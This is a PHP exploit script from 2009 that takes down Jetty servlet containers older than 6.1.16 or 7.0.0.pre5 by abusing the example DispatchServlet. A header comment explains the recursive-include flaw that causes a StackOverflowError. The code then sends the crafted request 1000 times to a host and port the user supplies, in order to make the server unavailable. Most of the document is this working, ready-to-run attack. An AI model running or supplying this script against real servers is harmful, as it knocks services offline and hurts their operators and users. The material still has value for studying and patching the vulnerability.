Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit

                                                <?php
####################################################################################
# Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet DoS							  	
#																					
# Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 (all platforms)					
# Author: Ikki (http://blog.nibblesec.org/)											
#																					
# Description: 																		
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a 	
# malicious aggressor may abuse this functionality in order to cause a recursive 	
# inclusion. In detail, it is possible to abuse the method  						
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application 	
# to recursively include the "DispatchServlet". 									
# As a result, it is possible to trigger a "java.lang.StackOverflowError" and 		
# consequently an internal server error (500). Multiple requests may easily affect 	
# the availability of the entire servlet container. 								
####################################################################################

error_reporting(E_ALL&E_NOTICE);
echo("\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org  ::\n");
echo(" :: Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 - all platforms :: \n\n");

if($argc==3){
	$cont=0;
	$reqNum=1000;
	$req = "GET /dispatch/includeN/Dispatch HTTP/1.0\r\n";
	$req .= "Host: ".$argv[1]."\r\n";
	$req .= "\r\n";
	while($cont<$reqNum){
		$sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
		if(!$sock){
			echo "\nNo response from ".$argv[1];
			die;
		}
		fwrite($sock,$req);
		fclose($sock);
		echo(".");
		$cont++;
	}
	echo ("\n\nCheck your servlet container, after " . $reqNum . " requests:\n" . "http://" . $argv[1] . ":" . $argv[2] . "/");
}else{
	echo("\nphp " . $argv[0] . " <host> <port>\n\n");
}

# milw0rm.com [2009-05-08]